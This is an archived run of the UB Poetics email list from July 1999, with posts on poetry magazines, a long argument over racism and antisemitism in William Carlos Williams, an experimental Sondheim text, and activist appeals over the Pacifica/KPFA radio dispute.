I can see what you've written here, literally, but since it's an unusual specification, let me double-check: do you in fact mean (a) send matching copies of work to both Providence and Santa Cruz, or (b) do you mean send one submission to ~either~ address?

Thanks. Just want to get it right.

Jeffrey Jullich

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280. Julie Johnson
addresses needed...
Tue 20 Jul 1999

I am currently in the process of transcribing essays from the anthology _Code of Signals_ which I will eventually post as part of an out of print book archive at Duration Press's website, & need to get in touch with many of the authors whose work appeared in that anthology. If anyone has e-mail addresses for any of the following people, I would greatly appreciate it if you could pass them along to me...

Bernadette Mayer, Charles Stein, Michael Davidson, James Clifford, William Corbett, David Shapiro, Lori Chamberlin, Gerrit Lansing, Dennis Barone, Christopher Gaynor, Diane Ward, Madeline Burnside, Steve McCaffery, Geoffrey Young, & John Ashbery.

Thanks much in advance,

Jerrold

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281. Stephen Cope
Germ Addresses
Wed 21 Jul 1999

I was asked to let all know (per the confusion) that GERM submissions should be sent to _both_ (simultaneously) of the following addresses:

Macgregor Card
POBox 2543
Providence, RI 02906

Andrew Maxwell
POBox 8501
Santa Cruz, Ca. 95061

It's a bi-coastal operation...

Best,

Stephen Cope

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282. Robert Archambeau
Manifest Dentistry
Wed 21 Jul 1999

Mark Weiss wrote:

> *I'd love to see some documentation of Washington's thinking about making Hebrew the national language--it's new to me.*

It was a matter of those wooden teeth. Surely Washington would have felt the glottal fricatives they entailed would blend in better with Hebrew than English.

Robert Archambeau

↑ Index

283. Brian Stefans
(no subject)
Wed 21 Jul 1999

Hi Mark,

Not to drag this on, but it seems to me this story is unrelated to what the context of my ideas were earlier. I'm don't see how the naming of a dog, and the eventual calling by its name and what light this sheds on the moral make-up of a family, has anything to do with sitting down and writing a short story, a modernist one no less, which involves a plethora of aesthetic and strategic issues that are simply overshadowed by this connection -- why reduce? I think just dumping a discussion of Williams into this anecdote is too easy, besides being poorly thought through (more important than the names of philosophers would be a clear goal and consistency in thought, especially in such a thorny realm -- and what makes you think I would have been better treated than that family, which you hold before me as an example of my ignorance?). I am certainly not an apologist for Williams -- he's much better messy and flawed, but you seem to imply this by your last sentence, with has a certain acidic tenor which I deemed "unfair," and still do because you used sentiment to guide an opinion regardless of the content of my post and those it was responding to. Consequently, I don't know what your jibe on "feigning a persona" has to do with what I wrote since I didn't write about personae, nor about "feigning" one (which is kind of impossible, people usually "adopt" a persona, or "feign" a personality -- "feigning a persona" would put you two steps behind the surface). I was talking about words and sentences, the "many origins" to misquote Olson, and not "irony" (there's a bit of negative capability thrown in there also, I guess).

Anyway, I'll happily retire from this one. Just wanted to clear that up -- it's implicit in the previous post, I think.

Yours,
Brian

>I'm not sure I understand what you're saying. Williams is more than any
>modern poet the source of my own development as a poet, so I guess I think
>he's useful. And the boy in the story was my best friend. I don't think
>either of them were being ironic in expressing their less savory
attitudes.

At 01:34 PM 7/19/99 -0400, you wrote:
>I don't think this is a fair reading of what I wrote. Perhaps, if you'd
>like a new angle on this, you can imagine writing a story with your friend
>from the Poconos as the protagonist, and when quoting him in the story not
>use quotation marks. You, as most of us, would be very frightened to do
>this because you would wonder if a reader would think these were words
>reflecting your own opinions or personality. But nonetheless this is what
>a lot of modernists did, I guess because it was supposed to be an
>unmediated representation of objective reality, which in the scientific
>spirit of the day was a primary goal. Of course, if you don't think your
>friend from the Poconos is worth literary immortality you wouldn't write
>the story at all, but then again you wrote this post, so your friend,
>racist or not, was somehow useful.
>
>
>Date: Thu, 15 Jul 1999 18:16:46 -0700
>From: Mark Weiss <[redacted]>
>Subject: Re: PS on Williams
>
>When I was a little kid we used to vacation at a cheap resort in the
>Poconos, which were a lot more remote before the construction of I-80 than
>it is now. I became close friends with the owner's son who had a black
>German Shepherd names Nigger. I don't think he'd ever met a Black person,
>but I don't doubt for a minute that he and his family were racists. But
>maybe when he called his dog he was feigning a persona.
>

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284. Maria Damon
query
Wed 21 Jul 1999

---

can anyone help me find the Coach House Press book order website? i need to order a martyrology for my fall course.

↑ Index

285. Brian Stefans
Correction
Wed 21 Jul 1999

Mark -- I meant "by that family" rather than "than that family" in my other post today. -- Brian

↑ Index

286. Mark Prejsnar
Presenting, 3-Hand john & His junkyard Dawgs...
Wed 21 Jul 1999

If every poem embodies "a theory" (or, a poetics).... I have no prob with that, i guess.

I meant (and am still most concerned about) poetics in a fairly formal sense. Which might be defined by example: Pound's and Zuke's theoretical statements, a work like Marginalization of Poetry or CB's A Poetics; or the old L=A=N=G essays by various hands collected in the Language Book.

Just because i ask myself if i should try to clarify my practice (and my thoughts about others' work) by doing such formal writings, or not...

JL, you are sort of shifting the terms so that you and i are talking about *somewhat* (tho not entriely) different things... (or so it seems to me..)

This might be made clearer by rephrasing what i said: poetry reaches beyond the analytic grasp & explanatory ability of any given *piece of writing about poetics*.....

About your point, i only have one small objection: a poetics, or theoretical approach, may lie (in fact, i agree: *does* lie) behind any given poem.... But because the poet often works from inside the materials and movement of her work, she is often not very conscious of or concerned with what that underlying poetix is. Not in any way that she could (or cares to) articulate. That's not so much an objection as a qualification. It can be very good and helpful for her, sometimes, if she *is* aware of her underlying poetix. But fab work gets done by people who don't think much about thier underlying poetix at all. It can work either way, depending on the poet and the project...

Mordecai (3-finger) Brown

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287. **Mark Weiss**
Re: Manifest Destiny
Wed 21 Jul 1999

If I understand Hilton correctly (Hilton, are you there?), the _secular_ use of the Book of Revelations was more as an available source for rhetoric supportive of a very different kind of millenarianism than the descent of chaos/reign of the saints/end of time kind. I'm willing to be corrected if I didn't get it. As to Washington's preference for Hebrew as a national language, I've yet to be persuaded and would need chapter and verse.

At 03:15 PM 7/20/99 PDT, you wrote:
>Mark,
>I first heard of the Washington/Hebrew/American national language thing from
>an Israeli; we were both standing in the shadows of the largest
>free-standing statue of Elvis Presley in the world, just west of the suburbs
>of Jerusalem. Subsequently I heard the same bit several times more, both in
>Israel and across the river, in Jordan; quoting it seemed most to be an
>attempt on the part of various opinion-holders to ground the legitimacy of
>Israel as a sanctioned state in the previous preference of a person of
>stature (what DID Elvis stand on Israel anyway?). Now I see viz Hilton's
>recent post
>
>that the Washington version may be some sort of rough metonym for the more
>detailed report Hilton DOES supply, luckily for me, since I was rather stuck
>on your comment re: Washington's being a Deist, as if that made some
>difference in the both larger yet still local (& locateable) "millennarian
>&/or escahtological imperialist" scenario.
>& I do recognize that the American "Revolution" wasn't just slugging it out
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>& no, I'm not "saying that everything is the same and no differentiation is
>possible." I'm saying that SAYING THAT "everything is the same and no
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>sanctioned "plurality" in which nothing is "the same" because it's all
>plural (sounds like some kind of semantic problem to me), ie., "the same".
>Look at what's called the Global Economy - what IS it? Or more essentially,
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>It seems an essential question, especially in light of the contest this List
>also takes part in, ie., what the new riddles are, who will fix them, what
>the fix IS, how one may get in and/or out of them.
>

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>good art permits of ugly politics, how good is it? If poetry is thought to
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>of THIS world, yet disavows it for the referentially pointed and possibly
>parallel THAT one, how does one keep the "stretch" of it "clean"? Via some
>sort of critical yet perpetually generous "spirit"? & who's to the good for
>it? Ie., where's the community? Is it limited to the ardent hearers of
>this, and LIKE, "lists"?
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>Anyway, thanks for your substantial additions/corrections, Hilton, if you're
>there; I look forward to your book.
>- S E
>
>
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>>From: Mark Weiss <[redacted]>
>>Reply-To: UB Poetics discussion group <[redacted]>
>>To: [redacted]
>>Subject: Re: Manifest Destiny
>>Date: Fri, 16 Jul 1999 10:50:16 -0700
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>>interest in the Book of Revelations--I thought he was a deist.
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>> >The "field" of racism re: Williams, Pound & Eliot extends beyond the
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>> >Not to be overly "Hebraic" about it, the fact remains that the murder of
>> >former Israeli Prime Minister Rabin had, in some interpretations,
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>> >presents a threat to the security of the clan at large. We still operate
>> >under a similar system, as a glance at who's who on any Death Row will

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>> >you. Enemies of the State. America wasn't founded to protect the
>>interests
>> >of any sense of the common man or to the common good; it was founded
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>> >protect the interests of a wealthy group of molasses bootleggers
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>> >out of the Carribbean. Interesting in this light to recall that
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>> >rapists" was the prototype for Nazi-funded scientific missions to find
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>> >are the inheritors of this tradition. Given this, the accusation that
>>these
>> >guys were "anti-semitic" seems trite; the more essential question lies in
>> >the extent to which they - or any of us - gave (or in our case, continue
>>to
>> >give) sanction to state-infected suppositions toward "liberation."
>>Calling
>> >WCW anti-semitic merely sweetens the lie that we in fact DO have the
>>moral
>> >authority to "call him down," but what phantom will rise from the process
>>of
>> >so doing? Or more specifically, though maybe slightly off the mark, what
>> >are the relations between poetic form, natural proportion and human law,
>>for
>> >example, that permit the existence of a sort of "screen" or "grate"
>>through
>> >which we may have intimations of the smell of death, but no actual access
>>to
>> >the causatively related "killing floor"? When the feeling of "threat" is

>> >multiplied into an analogical "house of mirrors" (and perhaps of cards),
>>how
>> >do we identify it, ie., how do we get into the basement over which the
>> >killing floor is laid?
>> >S E
>> >
>> >
>> >
>> >
>> >
>> >>From: KENT JOHNSON <[redacted]>
>> >>Reply-To: UB Poetics discussion group
>><[redacted]>
>> >>To: [redacted]
>> >>Subject: Purity
>> >>Date: Wed, 14 Jul 1999 11:08:33 -0500
>> >>
>> >>May I indulge in some self-defense, please?
>> >>
>> >>Stephen Vincent wrote:
>> >>
>> >> >Kent Johnson's righteousness - or at least that tone - about nailing
>> >> >WCW to an anti-Semitic cross seems to me to indulge an easy
>> >> >dichotomy. I am not sure if Johnson's trying to throw the Doctor out
>> >> >with the bath water, but I always get uncomfortable when anyone
>> >> >(myself included) goes to the Holy ground with an implicit claim of
>> >> >purity - what ever might be the issue. I would go as far
>> >> >to say that my opposition to anti-Semitic, anti-Palestinian, racist,
>> >> >homophobic or any other abusive behavior involves a personal
>> >> >acknowledgment and desire to exorcise some part of my person that
>> >> >has inherited or learned those behaviors
>> >>
>> >>Stephen, if I point out, as I did, that there is textual evidence of
>> >>a strong anti-Semitic strain in Williams, why is this
>> >>"self-righteousness"? I responded to what I felt was a significant
>> >>blind spot in Billy Little's typically-provocative post, and did so
>> >>in a reasonable way, I thought. Then there were four indignant
>> >>responses, all of which strongly denied the applicability of the
>> >>term, a couple of these calling my post "ridiculous." So I responded,
>> >>pointing people to some specific evidence, and now am accused by you
>> >>of being self-righteous, by implication blind to my own likely
>> >>racism, and of trying to throw WCW "out with the bathwater."

>> >>
>> >>I _love_ Williams. If he was more of a prick, more humanly sinful
>> >>than the canon-makers have let on, that does nothing to diminish the
>> >>greatness of his poetry. And in some ways the darkness makes
>> >>the greatness all the more fascinating! The record is the record
>> >>(which, yes, is open to differing interpretations), and I think it's
>> >>best to talk about it without the innuendo you interject above.
>> >>Kent
>> >
>> >
>> >_____
>> >Get Free Email and Do More On The Web. Visit http://www.msn.com
>> >
>> >
>
>
>_____
>Get Free Email and Do More On The Web. Visit http://www.msn.com
>
>

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288. **Mark Weiss**
(no subject)
Wed 21 Jul 1999

Look, this discussion is about the kind of antisemitism that has an attitude towards "those people," one's friends always implicitly or explicitly exempted as "not that kind of." It allows for certain choices in ones fiction that I think would not otherwise occur to one. This I think unexamined attitude is of course very different from and less destructive than Poundian antisemitism, but it's the kind that American Jews in the present in more or less civilized places are most likely to encounter. Which is why it continues to be disturbing to some of us.

Maybe my thinking was shoddy, or maybe we're talking about two different things.
I retire from the field.

At 09:30 AM 7/21/99 -0400, you wrote:
>Hi Mark,
>
>Not to drag this on, but it seems to me this story is unrelated to what the
>context of my ideas were earlier. I'm don't see how the naming of a dog,

>and the eventual calling by its name and what light this sheds on the moral
>make-up of a family, has anything to do with sitting down and writing a
>short story, a modernist one no less, which involves a plethora of
>aesthetic and strategic issues that are simply overshadowed by this
>connection -- why reduce? I think just dumping a discussion of Williams
>into this anecdote is too easy, besides being poorly thought through (more
>important than the names of philosophers would be a clear goal and
>consistency in thought, especially in such a thorny realm -- and what makes
>you think I would have been better treated than that family, which you hold
>before me as an example of my ignorance?). I am certainly not an apologist
>for Williams -- he's much better messy and flawed, but you seem to imply
>this by your last sentence, with has a certain acidic tenor which I deemed
>"unfair," and still do because you used sentiment to guide an opinion
>regardless of the content of my post and those it was responding to.
>Consequently, I don't know what your jibe on "feigning a persona" has to do
>with what I wrote since I didn't write about personae, nor about "feigning"
>one (which is kind of impossible, people usually "adopt" a persona, or
>"feign" a personality -- "feigning a persona" would put you two steps
>behind the surface). I was talking about words and sentences, the "many
>origins" to misquote Olson, and not "irony" (there's a bit of negative
>capability thrown in there also, I guess).
>
>Anyway, I'll happily retire from this one. Just wanted to clear that up --
>it's implicit in the previous post, I think.
>
>Yours,
>Brian
>
>>I'm not sure I understand what you're saying. Williams is more than any
>>modern poet the source of my own development as a poet, so I guess I think
>>he's useful. And the boy in the story was my best friend. I don't think
>>either of them were being ironic in expressing their less savory
>attitudes.
>
>At 01:34 PM 7/19/99 -0400, you wrote:
>>I don't think this is a fair reading of what I wrote. Perhaps, if you'd
>>like a new angle on this, you can imagine writing a story with your friend
>>from the Poconos as the protagonist, and when quoting him in the story not
>>use quotation marks. You, as most of us, would be very frightened to do
>>this because you would wonder if a reader would think these were words
>>reflecting your own opinions or personality. But nonetheless this is what
>>a lot of modernists did, I guess because it was supposed to be an

>>unmediated representation of objective reality, which in the scientific
>>spirit of the day was a primary goal. Of course, if you don't think your
>>friend from the Poconos is worth literary immortality you wouldn't write
>>the story at all, but then again you wrote this post, so your friend,
>>racist or not, was somehow useful.
>>
>>
>>Date: Thu, 15 Jul 1999 18:16:46 -0700
>>From: Mark Weiss <[redacted]>
>>Subject: Re: PS on Williams
>>
>>When I was a little kid we used to vacation at a cheap resort in the
>>Poconos, which were a lot more remote before the construction of I-80 than
>>it is now. I became close friends with the owner's son who had a black
>>German Shepherd names Nigger. I don't think he'd ever met a Black person,
>>but I don't doubt for a minute that he and his family were racists. But
>>maybe when he called his dog he was feigning a persona.
>>
>
>

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289. Carolyn Guertin
Re: query
Wed 21 Jul 1999

> *can anyone help me find the Coach House Press book order website? i need to order a martyrology for my fall course.*

http://www.chbooks.com

_____ Carolyn Guertin, Department of English, University of Alberta 3-5 Humanities Centre, Edmonton, Alberta T6G 2E5 Canada E-Mail: [redacted]; Tel/FAX: [redacted] Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>

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290. Michael Magee
Tisa Bryant's question re WCW
Wed 21 Jul 1999

Tisa (& all), There's a guy named Sergio Rizzo who's written some interesting stuff about Williams and black women in 2 different but related essays:

1) "The Other Girls of Paterson - Old and New" in WCW Review 20.1 (Spring '94)

2) "Can 'Beautiful Thing' Speak?: Race and Gender in Paterson" in Deese/Axelrod, eds., Critical Essays on William Carlos Williams (NY:G.K. Hall, 1995).

Black women had a pretty profound influence on Williams from childhood to old age, - it is, not surprisingly given all we've been saying lately about him, a vexed but interesting connection. -m.

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291. Mark Wallace
SITUATION #19 is now available
Wed 21 Jul 1999

SITUATION #19, a chapbook issue, features Allison Cobb's A LITTLE BOX BOOK, a serial poem that we feel is quite fabulous and hope you'll want to check out. Here's an excerpt:

> Then the little box is more
> gone a sort of scorched
> awake through all--the fire
> storm the indelible
> infant crying to itself
>
> the nation's first non-shift Buick
> the one-legged soldier
> a gift of the President
>
> mom closes necks around hangers
> the little b b yawns a crimson
> yawn thinks APPLE
> TREE KEY and then
> SAW--the face
> she turns it turns wrong

The issue is available for $3; a four issue subscription to Situation is $10. Situation is edited by Joanne Molina and Mark Wallace, is published several times a year, and now alternates one magazine issue with one chapbook issue. Manuscripts for chapbook issues are handled by solicitation only. All submissions for magazine issues must be accompanied by an SASE. Make checks payable to Mark Wallace. Send submissions or subscriptions to Situation, 10402 Ewell Ave., Kensington, MD 20895.

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292. Dodie Bellamy
persona
Wed 21 Jul 1999

At 9:30 AM -0400 7/21/99, Brian Stefans wrote:
>
>Consequently, I don't know what your jibe on "feigning a persona" has to do
>with what I wrote since I didn't write about personae, nor about "feigning"
>one (which is kind of impossible, people usually "adopt" a persona, or
>"feign" a personality -- "feigning a persona" would put you two steps
>behind the surface).

Brian,

I'm intrigued by this idea of feigning a persona as opposed to adopting one. Adopting one sounds like putting it on proudly, even buying into it. Feigning one reminds me of those endless social occasions when I've known what kind of persona was required but I couldn't buy into it, didn't have the heart to fully embrace it, or was lacking in the social skills to pull it off. In those instances, I'd say that feigning a persona would be much more appropriate a category. An awkward ineffectiveness. Cocktail parties come to mind as a dangerous site. Also much of the humor on TV sitcoms, not that I watch them enough to be an authority.

In writing, too, I think this comes up. Kathy Acker's personas, for instance, their delightfulness is in the sense of feigning rather than adopting. Pathos unbalancing power.

When I hit reply to all in Eudora, the speech function kicked in for some reason and my computer started reading your message outloud to me in this mechanical reverb voice. Creepy, but appropriate somehow.

Dodie

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293. Richard Dillon
Re: WCW's map of pleasure & pain
Wed 21 Jul 1999

Shoemaker's essay cracks into the truth about WCW and his depths. Shoemaker is a real scholar and teacher. No ax to grind. Just the plain truth.

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294. **David Buuck**
Attacks on camp KPFA
Wed 21 Jul 1999

--simple boundary

Camp KPFA was torn down by police at 4 am. According to Friends of KPFA, 6 peoeple were arrested, among them KPFA leader Kahlil Jacobs-Fantauzzi.

Kahlil was taken to Santa Rita prison--isolated from all of the other supporters arrested, who were taken to local jails. As of 11:45 am, he had not been read his rights and was uncertain of what they plan to charge him with. When he asked what he was being held for, an officer resonded "for being a jerk." He has been denied his requests for vegetarian food, and has been ignored in his requests for writing materials. According to those he has contacted from the prison, they do not plan to release him until he posts bail. The amount has not yet been determined.

This is a strategic attack on the leadership in this struggle! Kahlil and all those arrested during this struggle need our support!

What you can do:
1) Attend the march/rally TODAY at 5 pm, Ashby BART Station in Berkeley.

2) Attend tonight's Berkeley City Council Meeting at 6:30 pm.

3) Attend the hip hop event at 8 pm at La Pena.
And march back to the station at 12 am.

5) Camp out! Help us re-establish camp at KPFA. Bring cameras to record what you see. 1929 MLK Jr. Way, Berkeley.

6) Call all local media and demand that they report on this. We need critical watchdogs!

You can call any of the following numbers for updates on the action: Friends of KPFA, [redacted]; KPFA Protest Hotline, [redacted], ext. 202; First Amendment Center Hotline, [redacted].

<A HREF="http://">http://www.savepacifica.net/index.htm</A>

for info:
<A HREF="http://">http://www.sfbg.com/kpfa/index.html</A>

Background:
The Story thus far . . .

Like every organizational crisis, KPFA's began with an incident. The overwhelming response to that incident revealed that, throughout the Pacifica

community, thousands of people were deeply troubled by network's lack of democratic process.

On March 31st, 1999, the Pacifica Foundation's Executive Director Lynn Chadwick informed KPFA general manager Nicole Sawaya that her job with the station had been terminated, effective immediately. Chadwick told Sawaya that she was not a "good fit." The Pacifica Foundation, a non-profit organization, manages the affairs of five non-commercial radio stations throughout the United States. KPFA was the first; started in 1949, it is the oldest listener supported FM station in America. Sawaya's ousting came two weeks before KPFA's fiftieth anniversary.

The firing revealed an utter disregard for the first and most obvious rule of community radio: major policy decisions will be made in consultation with the community. Pacifica management talked to no one beyond its own inner circle before taking this drastic step. A strong, independent minded leader, Sawaya was very much liked by KPFA's staff and the larger community. Her ousting provoked a huge wave of protest from KPFA supporters across Northern California.

That night KPFA's news department prepared a report for the listeners about the
sad decision. To the astonishment of the staff, Pacifica told the station's news
director not to run it. The story was broadcast in defiance of the order.

Even before Sawaya's dismissal, however, Pacifica was clearly moving in an alarming direction.

On February 28th, the Pacifica National Board met in Berkeley and decided to remove Local Advisory Board (LAB) members from its national governance board. Local advisory board are the backbone of community input into Pacifica national policy. They meet once a month and hear the concerns of listeners, volunteers-- whoever has something to say. Formal LAB member presence on the national board helps keep Pacifica accountable to the network's stations. Now that LAB members were gone, Pacifica's national board became a completely self-appointing body.

KPFA's signature voice, Larry Bensky, appeared before the National Board to argue against this decision. Bensky is a 30 year veteran of the Pacifica network, having won the Polk Award for his historic gavel-to-gavel coverage of the Iran-Contra hearings in 1986. Bensky warned the board that Pacifica's National Office was becoming unaccountable and top-heavy with staff. When Pacifica terminated Sawaya as general manager, Bensky became even more worried about a management style that had now become autocratic. He took his concerns to the listeners on his regular Sunday program.

On April 9th, Pacifica responded by firing Bensky as well.

The coup strategy was now obvious to anyone who cared to look: centralize your authority, remove from any position of governance those who seem like they might question you, and fire your critics. These actions came from an organization whose flagship daily public affairs program is called "Democracy Now," and, in its own literature, refers to Pacifica as "democratic communications."

The KPFA community, outraged, took to the streets. For KPFA's listeners and staff, "democracy" is more than a word you put on a mass mailing to get someone to send you a check. Over 800 KPFA supporters demonstrated against Pacifica in front of the KPFA building on March 31st. On May 9th, 2,000 demonstrators gathered at Berkeley's Old City Hall to protest Pacifica's intransigence. It was the biggest listener demonstration in the history of community radio. KPFA's staff began airing regular public statements, demanding the reinstatement of Sawaya and Bensky and calling for the independent mediation of the dispute. The station's listeners responded by making KPFA's May/June subscription marathon the most successful in its history: 6,200 pledges made "under protest" of Pacifica's actions.

An ugly incident took place, and Pacifica used it against KPFA's paid and unpaid
staff. Late on the night of March 31st, someone fired gunshots into the Pacifica
national office headquarters. No one was hurt. After years of defending the free
speech rights of anyone and everyone, Pacifica has sometimes crossed paths with
fringe groups. Frightening but thankfully infrequent moments like this have been
the price. Most of the time it has been station staff who have braved the dangers and threats.

But this was the first time in the organization's history that Pacifica used the event to hire on-site security guards. They were placed not in front of Pacifica's offices, where the shooting actually happened, but inside KPFA's studios. Lynn Chadwick then appointed herself general manager of KPFA. On Monday, June 22nd, a delegation of about a dozen people came to Chadwick's office to talk to her about her policies. They were led by a member of Berkeley's City Council and a Catholic priest. Chadwick used this event to justify the hiring of armed guards -- grey-suited, professional security gunmen- -to watch KPFA's staff.

Chadwick even denied KPFA staff access to door security codes. An organization founded by pacifists--World War II era conscientious objectors--was now under lockdown at gunpoint.

Even before it had gotten this bad, Pacifica claimed its third victim. Robbie Osman had been a music and commentary programmer at KPFA for over two decades. So effective and influential was Osman's regular Sunday program that the great folksinger Kate Wolf wrote a song for it: "Across the Great Divide." Osman had for years been troubled by the direction Pacifica seemed to be headed. He actively spoke out against Sawaya's and Bensky's firing on his program.

On Friday June 18th Pacifica's national office cancelled his show, dispelling any doubts about the Brave New Pacifica they have in mind: a rigid, top-down organization where policy will be made by a group of people who can be counted on the fingers of one hand--with digits to spare. The following Sunday, KPFA broadcast silence when Osman's regular program would have been aired. Outside, demonstrators protested the firing.

Pacifica has tried to justify these actions by claiming that they want to bring greater diversity to the network. But KPFA's minority staff haven't bought a word of it. "KPFA's African American programmers will not be complicit in any Pacifica-driven purge of KPFA staffers under the guise of 'diversity'," a May 21st letter signed by 13 programmers declared. Scores of voices across the progressive community agree. Mumia Abu-Jamal, Alice Walker, Dolores Huerta, Noam Chomsky and many others have called upon Pacifica to practice what it preaches every day on Pacifica radio: There is no way to democracy; democracy is the way.

KPFA's community is united as never before to save the spirit and reality of commuity broadcasting. The nation's community of community radio knows that the future of democratic broadcasting in America will be decided in Berkeley. Keep your eyes on this website and your ears to KPFA for further news about how you can help us all win.

by Matthew Lasar, author of Pacifica Radio: The Rise of an Alternative Network (Temple Univ Press, 1999)

--simple boundary

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295. **Michael Neff**
ACLU case in Detroit
Wed 21 Jul 1999

Hello to the list.

Below is the information re the stay in Detroit for the internet censorship case. If anyone in the Detroit area wishes to attend the hearing, please give me a call at the hotel mentioned below and I'll provide the information on where, when, etc.

Info on the case can be found at http://webdelsol.com/solhome.htm

Thanks. We'll defeat the puri-tyrannicals, I'm certain.

Mike Neff
Editor
WDS

Mike Neff -- I spoke with Mike Neff from Web Del Sol today and he is happy to testify on Friday. His flight arrives at Detroit Metro on Thursday evening at 5:41 (NW Flight 1225) from Nat'l airport (e-ticket # 7X4RPR). A law student (to be named later) will pick him up at airport and bring him to the Pontchatrain Hotel. The plan is for Andy, Marshall and/or Chris to meet with him on Thursday evening to prepare him for Friday morning.

Let me know if you have any questions. Thanks.

Michael Steinberg, Legal Director
ACLU of Michigan
1249 Washington Blvd., Suite 2910
Detroit, MI 48226

==========
Web Del Sol
http://webdelsol.com
LOCUS OF LITERARY ART ON THE WWW

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296. Alan Sondheim
(no subject)
Wed 21 Jul 1999

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oOo
oOo
oOo
oOo
oOo

I shaved off my bierd (sic) and mustash (sic) today so I can get close to Azur (sic) and tomorow (sic) I will have off my pub hair (sic) and body hair so I can get clos (sic) to her skin which is mine I wil (sic) be so clos to her skin I will not

no (sic) the diference (sic). I will cut out my eyes to (sic) so I can be clos (sic) to Azur (sic) all tuching (sic) her wen (sic) she lets me everywher (sic) then maybe something with my eers (sic) I dont (sic) no (sic) I may do something with my nales to (sic). Then I wil (sic) be so clos (sic) to Azur (sic) it wil (sic) be a-mazing (sic) and I wil (sic) be very hapy (sic) to be so clos (sic) to her. I wil (sic) cut out my tong (sic) and fingers.

oOo
oOo
oOo
oOo
oOo

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297. **Parks**
Action Appeal
Thu 22 Jul 1999

3F46.a

Following is a collection of paragraphs of detail on volcanic Pacifica v KPFA (et al.) battle.

*

Is anyone present at or around University of Pennsylvania? A useful thing would be to scratch up action there (perhaps inform the campus paper, or talk with active or left faculty) to get Dr. Mary Francis Berry's (who is a professor there) actions “on behalf of radio listeners” into light.

*

The survival of KPFA WBAI KPFT (the last hasn’t survived, actually, has been essentially killed, now runs NPR feeds and has been reduced from an 8- to 1-language broadcaster of wasp garbage thanks to Dr. Berry’s regime) et al would be a more likely thing right away if it weren’t for the fact that Dr. Berry, Pacifica Foundation Chair, is also Black & the head of the US Civil Rights Commission, and big pawn of the White House and Democrat Establishment, and is, according grapevines of the left, merely one puppet in a classic behind-curtain cabal of Corporation for Public Broadcasting / White House / CIA ? / Corporate Radio (there are at least 4 corporate broadcasting entities who have stated on record they’d be interested in purchasing, to the tune of 70ish million, KPFA’s channel at 94.1, or, barring KPFA’s, WBAI’s.

Dr. Berry has enlisted support of many “powerful” individuals and entities by claiming that her mission is to integrate KPFA, “a bastion of the White,” agit-snow-bullshit cover that has been debunked by all in opposition, most notably the allied staff of color of KPFA, unanimously.

You can read in various media of her (and Lynn Chadwick’s [Pacifica executive director]) disgusting tactics of oppression of KPFA staff and listeners, since roughly March, however I will mention that a nearly ultimate KPFA-death step has been achieved today with Pacifica’s placement, assisted by protective goons, of wiring KPFA’s transmitting so it can broadcast whatever it wishes via KPFK in Los Angeles (whose manager is a dictatorial ass at the feet of Pacifica, and has both threatened KPFK staff with “discipline” should they mention the debate on air or, even, “outside the station”).

Today, yesterday, and so forth, when one tunes in to KPFA one hears gelatinous music or rebroadcasts of talks.

For full information on all facets see, above all:

www.savepacifica.net
www.radio4all.org
www.counterpunch.org

As a pre-postscript: Pacifica & Micheal [sic] Palmer [sic] (CEO of CB Richard Ellis of Houston, one of the largest corporate real estate firms in the world &, strangely, the Fascist to thank for anemia at KPFT), as well as the Justice Dept and select liberal jackoffs, know they have the most dutiful and excellent puppet Dr. Berry, and have moved step by step with such force and heinousness as to only mean a decided endgame of purging KPFA’s staff and “reprogramming.” (Berry is on record with this agenda—her aim is to affiliate Pacifica’s five big stations with National Public Radio. We’d then have, as “public radio” in America, a thousand stations simultaneously broadcasting the Sickly White Soundz of those eleven men who all sound the same and provide no information, no dissent, and Terri Gross, who would drool on a pile of excrement if it had a name badge on it and a mic near its face).

(We’ll have, in a few years:

“Fresh Air is supported in part by Monsanto, supporters of social justice & progressive agriculture since 1890”

and

“All Things Considered is brought to you by Eli Lilly, Inc., makers of Prozac, using Nazi research to drug all of America since 1947, and major benefactors of the Ruth Lilly Poetry Prize, whose monies have been accepted and spent by such notable poets as _____”

Please note that very recently the National Board of Pacifica voted amongst themselves, without notice, and behind closed doors, as it were, to also abolish any local power, i.e., input of local staffs, listeners, and advisory boards, and to vest the Pacifica National Board exclusively the right to make any all present or future calls.

I have a suspicion not a great many “left” artists are actually politically active outside the politics of their artmaking, but a handful of letters calls or emails by a group of them or you to the numbers & addresses that follow would yet add to the powerful dissent, which, in a totally controlled and drugged American society, is, en masse, the only popular phenomena that politicians respond to.

* * * as of this note, word is that Amy Goodman, host of Pacifica’s most listened-to program, Democracy Now!, is now! having her shows censored directly each morning, in advance of airing, by Pacifica. (She had been neutral, though last week at last aired a 40-minute segment on “the crisis”; that Democracy Now was pulled from the air at all stations save WBAI, where it is produced, and because KPFA has been taken over by IPSA (former CIA, plainclothes, guncarrying goons installed inside station by Pacifica), those listeners in the San Francisco Bay Area didn’t hear it at all . . . and the man Mary Berry has flown in to “run” KPFA during the lockout is Garland Ganter, a closet White-Supremicist who is, when in Houston, board Member Micheal Palmer’s dog and human pliers at KPFT.)

Here are the Pacifica boardmembers, to whom protest should be addressed:

Chair of Pacifica’s Governing Board

Dr. Mary Frances Berry - at-large member
624 Ninth Street NW #700
Washington DC 20425
phone: [redacted]
FAX: [redacted]
e-mail: [redacted]

Pacifica National Board, Executive Committee

David Acosta, Vice Chair - KPFT
phone: [redacted]
FAX: [redacted]
e-mail: [redacted]

June Makela at-large member
phone: [redacted]
FAX: same
e-mail: [redacted]

Roberta Brooks (resigned)
phone: [redacted] Ext. 18
FAX [redacted]
e-mail: [redacted]

Ken Ford - WPFW
Phone: [redacted]
FAX: [redacted]
e-mail: [redacted]

Frank Millspaugh - WBAI
phone: [redacted]
FAX: [redacted]
e-mail: [redacted]

Bob Farrell - KPFK
phone: [redacted] X 255
FAX: [redacted]
e-mail: [redacted]

Pacifica National Board Members

William Lucey
Nat. Secretary-Treasurer, AFSCME
Mbr., Exec. Board, NAACP
[redacted]

Michael Palmer - KPFT
(Real Estate Broker, Houston, TX)
FAX: [redacted]
[redacted]

BULLETIN: KPFA NEWSCAST INTERRUPTED...TAPES PUT ON AIR BY PACIFICA IN PLACE OF REGULAR PROGRAMMING

At 6:06 p.m. this evening, the KPFA evening news was interrupted by background sounds of KPFA “Flashpoints” host Dennis Bernstein protesting rough handling on the part of the armed security guards who apparently were enforcing his suspension for material broadcast on the air a few minutes earlier.

As news anchor Mark Mericle was describing the scene, his microphone was abruptly cut off, and there was dead air for two minutes. Then a pre-recorded speech (ironically, by Los Angeles activist Eric Mann about Marxism and socialism) began to be broadcast.

